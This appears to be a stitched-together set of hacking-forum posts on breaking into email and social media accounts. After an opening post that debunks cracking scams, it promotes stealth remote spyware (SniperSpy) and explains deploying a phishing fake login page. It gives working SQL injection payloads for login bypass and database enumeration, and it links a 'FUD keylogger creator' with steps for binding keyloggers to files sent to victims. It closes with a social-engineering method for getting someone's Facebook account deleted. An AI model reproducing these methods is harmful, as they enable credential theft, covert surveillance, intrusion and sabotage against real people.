Hacking Facebook-Orkut-Gmail-Yahoo account | The Reality

Folks, this is a must read post for the beginners who have just started exploring hacking and for laymen who aren't interested in learning hacking but needs somebody's account password anyhow. I want you to aware about common misconceptions regarding Email/Social Networking Sites accounts hacking.

Otherwise those thoughts/misconceptions can seriously put you in trouble.We usually start like googling this, "how to hack gmail" , "softwares for hacking orkut","how to hack facebook" etc but unfortunately reach some malicious websites, follow stupid instructions and our own accounts get compromised.
Yes I wasn't any different and had been a foolish when I was a beginner

Okay talking in general , suppose you just have signed up for an account(gmail,yahoo or any other reputed website)
Your password is stored only at two places

1. In website's database
2. In your mind
(Dont say a stupid thing that it is also saved in a text file on your PC or in your girlfriend's mind etc)

Fetching your credentials (Id/password) from website's database is almost impossible. They are paynig million of dollars for securing their systems. Here I should remind you that, I am talking only about the reputed companies like microsoft,google,facebook etc. Hard Core hackers might get success in compromising their systems.

Now talking about your mind, its might be really very simple to do this. Shocked ?
At this ponit, I must say that hacking an email account depends strongly on carelessness/foolishness of victim.

FAQs or misconceptions regarding the same:-

Does any free/paid software/program/cracker exist to hack such accounts ?

No .You might get numberless free or preminum softwares which claim to crack email accounts. The softwares just ask you to enter victim's email and start cracking/generating password.
I have already told you about two places where one's password is. From where the hell ,these softwares would bring passwords for you ? . This kinda stuff is undoubtedly scam/rubbish.

Is there any free/premium online service to hack such accounts ?

No.You might have logged on to many websites that claim to crack any
email account for some amount of money. They are completely fraud and be aware of them. Dont lose your money there !!



An Other type of fraud- You might have come across many tutorials/videos that instruct you
to compose an email to something@something.com. You are asked to write victim's email ID, your
email ID, your password and are assured that you would get requested password within 24 hours.
Needless to say, it is an idea of befooling innocent people . Ofcourse,your own account gets compromised.

Beleive me , you cant imagine the number of people who become victim of such rubbish things. They
lose their money,time,accounts but get nothing in return. So take care.

How to hack these accounts ?

Every method directly/indirectly involve victim's carelessness/lack of knowledge.

Non-Technical-
While signing up for an account, we are asked to set a security question like our nickname, birthday place etc so that we could recover our account in case we forget our password. Many innocent people sets the correct asnwer which they are not supposed to do. Gather some information about victim and try to guess the answer of security question.

Technical-

1. Phishing- The most common way of hacking them is phishing. The common type of phishing is Fake Login Page.The victim is anyhow anyway made to enter his credentials in fake login page which resembles the genuine login page and gets hacked.
2.Malicious files- The victim is given a malicious file. It could be binded with or hidden behind a genuine file. It is usually a keylogger or trojan. A keylogger secretly records everything you type and sends to attacker. Obviously records your passwords too.
3.Stealing Sessions- Talking in simple language, whenever we sign into an account it generates a unique piece of string. One copy is saved on server and other in our browser as cookie. Both are matched everytime we do anything in our account. This piece of string or login session is destroyed when we click on 'Sign Out' option. An attacker can steal that session by convincing victim to run a piece of code in browser. Attacker can use that stolen session to login into victim's account without providing any username/password. This attack is very uncommon because when the victim clicks 'Sign out' , session gets destroyed and attacker too also gets signed out.


Note-You might be thinking that one could sniff the credentials sitting in same network. But I should remind you that, they would be encrypted ones and cracking the SSL encryption is almost impossible.

Conclusion-

Sign up for an account at gmail/yahoo/facebook/orkut/hotmail.Now forget its password and recovery options
Never login into it . Can anyhow the password be cracked/hacked.?? Answer is big NO.

How To Hack E-Mail Password - E-Mail Hacking Software

I know most of you might be wondering to know how to hack email? You as the reader are most likely reading this because you want to hack into someone’s email. Well before you try to hack any E-Mail password, it is necessary to understand the real ways of hacking that actually work and also those that are simply scam and don’t work. Everyday I get a lot of emails where people ask me “how to hack E-Mail password?” So in this post I have taken up this topic to show you the possible ways to do that!


Is it possible to hack emails?

Yes! As a matter of fact, almost anything can be hacked. But before you learn the real ways to hack email, the following are the things you should be aware of.

1. There is no ready made software that can hack emails and get you the password just with a click of a button. So if you come across any website that claims to sell such softwares, I would advise you not to trust them.

2. Never trust any email hacking service that claims to hack any email for just $100 or $200. Most of them are no more than a scam.

So, guys, remember this is all crap. There's no reality in this email hacking service or software.

How can we Hack Email Password?

Hacking email passwords is not that easy. You can't do that by simply entering the email address and waiting for the software to crack passwords. Instead, you have to fool victim to give his own password without his knowledge. The main methods used to hack Email passwords are:

1. Remote Spy Software

The easiest way to hack an email is by using a remote spy software (Also known as keylogger). A keylogger is a small program that monitors each and every keystroke that a user types on a specific computer’s keyboard. Once installed, this program will automatically load from the start-up, runs in invisible mode and start capturing each and every keystroke that was typed on the computer. Some keyloggers with advanced features can also capture screenshots and monitor every activity on the computer. To install and use a kelooger one doesn’t need to have any special knowledge. That means anyone with a basic knowledge of computer can install and use this software with ease. Hence for a novice computer user this method is the easiest way to hack email password. I recommend the following keylogger as the best for gaining access to email password.

SniperSpy is a revolutionary product that will allow you to easily access *ANY* online account or password protected material such as MySpace, Facebook, Yahoo, Gmail etc. There are absolutely *NO* limitations to what accounts or websites this software can access!

Once installed on the remote PC(s) you wish, you only need to login to your own personal SniperSpy account to view activity logs of the remote PC’s! This means that you can view logs of the remote PC’s from anywhere in the world as long as you have internet access!


Why SniperSpy is the best?

Today there exists hundreds of keyloggers on the market but most of them are no more than a crap. However there are only a few that stand out of the crowd and SniperSpy is the best among them. I personally like SniperSpy for it’s REMOTE INSTALLATION FEATURE. With this you can install it on a remote computer without the need for having physical access to it. It operates in complete stealth mode so that it remains undetected. This Remote PC Spy software also saves screenshots along with text logs of chats, websites, keystrokes in any language and more. Includes LIVE admin and control commands!

SniperSpy Features:

• Access ANY Password

With SniperSpy you can hack any password and gain access to email or any other online account.

• Monitor Every Activity

You can monitor every activity of the target computer, take screenshots and record chats & IM conversations.

• Never Get Caught

SniperSpy operates in total stealth mode and thus remains undetectable. Thus you need not have the fear of being traced or get caught.

• Remote Installation Feature

With Remote Install feature, it is possible to install it even on computers for which you do not have physical access. However it can also be installed on a local computer.

• Extremely Easy to Use

Installing and using SniperSpy is simple and needs no extra skill to manage.

• Completely Safe to Use

This software is 100% safe to use since it doesn’t collect any information from your computer. SniperSpy is a reputed, trustworthy and reliable company which offers 100% privacy for it’s users.

• Works on both Windows and Mac

Fully compatible with Windows 2000/XP/Vista/7 and Mac.

So what are you waiting for? If you are really serious to hack E-Mail Password then SniperSpy is for you. Go grab it now and expose the truth!

Download SniperSpy Now!

Download SniperSpy for Mac

Protect yourself from fake login Pages

Using fake login pages is the easiest way to hack passwords. Identifying a fake login page is very easy but many people neglect to do some small checks before entering the login details and fall in the trap. I have seen a person paying 500$ for a fake login page of paypal. This proves that there are still people falling in this trap. This is just an example, there are many fake websites of banks, yahoomail, gmail,orkut,myspace etc …
This post is an attempt to show what a hacker does to hack your password using fake login pages and how to protect yourself from those fake logins.I will try to keep this post as simple as possible, there may be some technical details which you can safely skip.
Warning: I strongly advice you not to try this on anyone it may spoil your relation with the person on whom you are trying it and you may even end up behind the bars.

What goes on behind when you enter your login details in login form??

When you enter your login details in any login form and hit enter they are submitted to another page which reads these login details and checks the database if you entered the correct username and passowrd, if yes then you will be taken to your account else you will get an error page.

What an hacker does??

A hacker creates a fake page which looks exactly same as the original page and some how tricks you to enter your login details in that page. These login details are then submitted to a file.At this stage the hacker has two optionsHe can either store the login details on his server or he can directly get them mailed to his email id. All the above said things happen behind the scenes, you will have no clue of it. When you enter you login details for the first time your details are submitted to the hacker and you will be directed to a error page ( this is the original error page). When you enter ur login details again you will be logged in to your account. It’s quite common for us to enter the login details wrongly sometimes so you will not become suspicious when you get the error page.

How to identify fake login page traps ??

1. Never enter you login details in unknown sites.
2. Always type the address directly in to the browser.
3. Do not follows the links you get in mails and chatting even if they are from your friends
4. Always have a keen look in the address bar and verify if the address is correct. Check the screen shot below. Some people buy doamins which look simliar to the original site example: 0rkut for orkut, pay-pal for paypal,yahooo for yahoo. Some times you may over look these small differences and fall in trap.
5. Please do report to the hosting site or the original site owner when you find a fake login page.
6. If you feel like you entered your details in a fake login page change your password immediatley.

Now let’s go on with the trick...

You have to upload the fake login page on some server with php support. There are many free web hosting services available on the net, first sign up for anyone of them.Google for some free webhosting services,you will find many. Upload the files in the zipped folder on to your server and give the link of the fake login page to the person whose password you want to know. When the person enters his email id and password in to the fake login page they will be stored in a HTML file named “passwd.htm” on your server in the same directory where you uploaded the login page. Check that text file to get the passwords you wanted..

Here is the demo of the trick
Note:Don’t enter your actual password

SQLI : What is it & How to use it

SQL Injection is the process of corrupting the information sent between a page and a database. This process can result in arbitrary SQL code execution, and possibly even the compromising of a server as was done in the famous apache.org hack which resulted from the SQL server running on root permissions.

What on earth is SQL?
SQL stands for Sructured Query Language. What does this mean? A query is used to communicate with a database. Whether it be to insert new information, extract necessary information, update information, or delete information, a query is necessary to accomplish the transaction. Therefor a structured query languages provides a standard for commands
to interact with a database.

Where are queries used?
Queries are used any time a page has to check information against something stored in a database. For example, anytime you log into your account here on the forums, a query is formed which checks the username and password you entered, to see if they match any pairs in the database. Almost any time you interact with a form on the internet, at least one
query is usually involved.

What do queries look like?
Queries are generally comprised of 4 common types. These types are SELECT, UPDATE, INSERT and DELETE statements. As there names imply, they handle the different functions associated with the database, for example, a login script would look something like this:

SELECT * FROM `users` WHERE username = 'THE USERNAME YOU ENTERED' && `password` = 'THE PASSWORD YOU ENTERED';

In this case, there is a table in our database named users which as we would expect, holds user information. what this does is return any row where the username field in the table matches your input to username, and the password matches your password input. If a row is returned, there was success, if not, the login information was incorrect.

How is this exploited?
If you've read my previous article, it's probably becoming clear to you that web hacking often focuses around the fact that programmers do not quarantine and filter the data which they should. As you've seen in the previous SQL statement, the data you enter is directly inserted to the query. This, once again, is how we exploit a vulnerability and inject our own SQL code. So enough jibber-jabbering, and let's take a look at an injection.

Simple SQL Injection Example
Let's stick with our user login system example here. As with most login systems, our will ask for a username and password, then check it against a database. Let's watch what happens when we enter unexpected data that we shouldn't be entering. For the username we enter:

' OR '1'='1

and for the password we enter:

' OR '1'='1

Now at this moment, you might think this is extremely strange, and I would agree with you, but lets watch what happens when it gets put into the form of a query:

SELECT * FROM `users` WHERE username = '' OR '1'='1' && `password` = '' OR '1'='1'

Ahh, very interesting. For those of you who have taken some simple algebra courses, they usually cover AND and OR logic. What happens here is it checks for a field where the username is equal to 'nothing' (what we put in was '') OR where '1'='1' since one ALWAYS equals one, this check passes. Same goes for password, we check for a location where password = '' (nothing) which it wont, OR '1' = '1' which will make the second check pass.

Now you might be asking, well, if it's checking usernames against nothing and passwords against nothing, which account will you be logged in to once the check passes?

Generally speaking, the script will return the first row from the database (usually an administrator account as an added bonus)

How to access a particular account
Well, that's all well and good, but how to access a particular account you have an interest in this way? Simply change the username field to the desired username and leave the password as the injection code. That way, the script will first check that there is a username in the database that matches yours (hopefully if you're trying to get into a particular account it actually exists :tongue and secondly, will check if that password equals '' (which it wont) OR if 1=1 which it will, and you should be logged in as that particular user.

Error Generating
Error generating is an important part of SQL injections. All parameters of a script must be tested to see if you may be able to cause a syntax error. Some good techniques for generating errors are adding a single ' to mismatch the quote count, adding things like a legitimate value with quotes added, such as value' or 'value adding OR statements with nothing after them such as value' OR or value OR.

Other good ways are to add a semi colon ( which is the terminating character in an SQL statement.

Also, another very good technique in generating errors in pages which use the INSERT statement. by adding commas, you can throw off the column count for example if you were to input: value,value,value you could generate a column count mismatch.

Any form of SQL syntax error is a good sign which may lead to a successful injection.

Methods Of Injection
Well, at this point you may be thinking, "Well, this is all well and good, but how do i actually use this stuff?" Don't fret, information is on the way.

An extremely common method of injection is the end of a url which receives data via the GET protocol and uses it to query the database for information.

If you have read my previous article on XSS, I've mentioned the GET protocol previously and you can skip this. For those who haven't or who forgot, the GET protocol is used to supply data to a PHP page for processing. Whenever you see a question mark (?) on the end of a url like this:

Code:

http://example.com/userprofile.php?id=1

This means that an id with the value of 1 is being supplied to the page. This is used very often for user profile pages as i have used in this example. What then happens is that id will be used in a query such as this:

SELECT * FROM `user_information` WHERE `id` = 'THE ID SUPPLIED TO THE PAGE'

As discussed earlier, if this information is not filtered, we will have a prime target for injection. Attempt a few of the injection testing techniques discussed earlier, if you generate an error this script is vulnerable to SQL injections.

Another method of injection are the ever-vulnerable form fields. Test these techniques on any and all form fields on a page, keep trying and hopefully you will stumble across a nice error.

NOTE: Many times, administrators will forget to check values that come from things like select boxes, or check boxes as they think they will only be from the expected values. However, these values are easily changed. They can be changed through several means, you can google for some techniques or request a tutorial in my thread.

Table Enumeration Table name and column enumeration is also a very important part of SQL injections. Generating errors is fine, but if you can't figure out column and table names it
will likely do you no good.

The method of extracting table names and column names depends upon which sql server is being run. The most common sql server i have come across is running MySQL, so I will focus on that, but with a little research the information can be adapted to other types.

The interesting tables you're looking for in this case are stored in the system tables INFORMATION_SCHEMA.TABLES and
INFORMATION_SCHEMA.COLUMNS respectively.

What we can do is what is called a UNION ALL which will merge the results from one query with those from another.

One of the pitfalls of UNION ALL is the fact that it must return the same number of columns as the first query, and data of the same type. So for example imagine this query.

SELECT username, password, email, socialsecurity, phonenumber FROM `users` WHERE `id` = '234'

In order to inject a UNION here you would need to be selecting 5 values as well, most likely 3 strings (words) and 2 integer (number) values.

An easy way to get around the data type necessity is to select NULL (which means nothing) and select what you need in the correct place.

Unfortunately, the way to determine the quantity to select and which field will be selecting a string (words) which you need since table and column names are strings. A union query will usually start out with one field added like this as your input:

Code:

http://example.com/userprofile.php?id=234

' UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE '1' = '1

Which will result in the query from before being changed to:

SELECT
username, password, email, socialsecurity, phonenumber FROM `users`
WHERE `id` = '234' UNION SELECT TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE '1' = '1'

As we can tell from this, this query will fail because the UNION selects one field while the original query selects five. We can use trial and error to determine how many fields are being selected. (Since as hackers, we cannot generally see the actual SQL code being executed)

eventually through trial and error (or through an educated guess: read below) we will end up with an injection like this:

Code:

http://example.com/userprofile.php?id=234

'
UNION SELECT TABLE_NAME, NULL, NULL, NULL, NULL FROM
INFORMATION_SCHEMA.TABLES WHERE '1' = '1

Which will now select the same amount of fields as the original query. However, this only selects the FIRST table in the information schema, which may not be the one we're looking for.

SIDE NOTE: Educated guessing is a good way to determine how many fields are being selected.
For example, if there is a system which allows you to input a username and it retrieves his id, email, and phone number and displays it to you, it would be a good bet to start with 3 (id, email, phone number as 3 separate fields means you should attempt to select 3 as a good
starting place as well) This wont always work because sometimes webmasters do strange things and select values they don't use (or use but do not display)

Let's say the first table name you've found is called example1 you can apppend to the WHERE query using 'not in' command which means it cannot be from anything in the list supplied to
the clause. To make sure it doesnt select example1 again this time, we add it like this:

Code:

http://example.com/userprofile.php?id=234

'
UNION SELECT TABLE_NAME, NULL, NULL, NULL, NULL FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('example1') AND '1'
= '1

Let's say this time it selects example2 and we still don't want that, just add it to your list.

Code:

http://example.com/userprofile.php?id=234

'
UNION SELECT TABLE_NAME, NULL, NULL, NULL, NULL FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('example1',
'example2') AND '1' = '1

Ahh great, let's say for sake of argument it returns something like admin_users table this time. Great! we now have a table name we can definitely use.

The way the columns work is that they are linked by table name, so once we have that, we can work the same way to find out all column names like so:

Code:

http://example.com/userprofile.php?id=234

'
UNION SELECT COLUMN_NAME, NULL, NULL, NULL, NULL FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'the_table_name

From here on out we can do the same working with NOT IN as we did before to find all the table names we want, after that it's a simple union select from the table and the information we want is ours.

Code:

http://example.com/userprofile.php?id=234

'
UNION SELECT column1, column2, column3, column4, column5 FROM table_name_we_found WHERE '1' = '1

NOTE: This example assumes you want to select 5 columns from one table and that they are
of matching types to the original SELECT. The five columns are just examples of the column names you might have come across

Blind SQL Injection
Blind SQL Injection refers to SQL injection without the ability to read error messages from the database. To sum it up, a user must work off whether the script returns an admin-defined error message or if it runs successfully. If it runs successfully, yet you've injected some code, the script is succeptible to SQL injection even though you can't see it's error messages. Further examination of this topic is beyond the scope of this introductory article, but with requests I will gladly write one in the future.


http://www.multiupload.com/34X8BIGYOW

Code:

http://www.multiupload.com/34X8BIGYOW

Ultimate Hack Tutorial with Keylogger

Here, I am giving the way of hacking emails which worked today 90%. when i am posting this..

what is email hacking?
IS it hacking the secrets of email provider?


the answer in your mind is Yes. But in actual sence it is no.
Here are the real steps:

1) You need a undetectable keylogger.
2) Email of person You want to hack
3) A File Binder
Now the actual dirty work starts.
Finding a undetected keylogger is an extremely hard thing. So I am here Providing my own 100% FUD Keylogger Creator. Keylogger is a software which records the keystroks invisibly.
[gmail only] [similarly you can find popular mail services port]


{http://uploading.com/files/c427e476/Hgmail1.rar/}

4)Now create your own keylogger.
5)Get a File Binder.
6)Bind your Keylogger with some popular file like messenger or anything else which might be popular.
7)Send this file to the victim when victim ope the file Keylogger gets installed on the victims computer It will send logs to your gmail account.
8)Read logs and you will get the victims email passwords and much more things about victim.
9)here are also Some other tools which will help you hacking they are keylogger builders.
10)ENjOY

{http://uploading.com/files/3286b77d/Broheim%2BFree%2BVersion.zip/}

{http://uploading.com/files/745am65d/v3.0.rar}

{http://uploading.com/files/c427e476/Hgmail1.rar}

Delete any Facebook Account

Here is a method to delete any facebook profile or account. It works 100%. But its just for educational purpose. So don't use it on anyone. Once Deleted Profile can never be recovered. Use wisely.

WHAT ALL U NEED?

1. Victim's profile link ( you can get it easily )
2. His/Her Email which he/she uses to sign in
3. His/Her birth date which he/she has used in the profile
4. Make an Email ID on gmail or yahoo with the first name and last name same as on victim's facebook profile.HOW TO DO IT

1. Go to this page:

http://www.facebook.com/help/contact.php?show_form=hack_nologin_access

2. Enter details. In the place of ' email address where you can be contacted ' enter the fake email u created.

3. you will get a mail on that ID in which facebook people will ask your problem. Reply to them that you are XYZ( victim's name ) and you cant access your facebook account. Also you have lost access to your Email Address associated with the account. You dont know what to do now. The hacker is coming online regularly and using your account. If the victim is a girl also write ' I am a girl and it poses threat to my social life ' and write anything you want that could make them take action. ( no need though in 100 % cases they delete the account )

4. After 2-3 days youu will get a reply. They will again ask you that you have access to your associated Email or not? Reply them that you still don't have access to it. And repeat what all you wrote in first mail.

5. Next Day or Same Day you will get an Email that your account is disabled.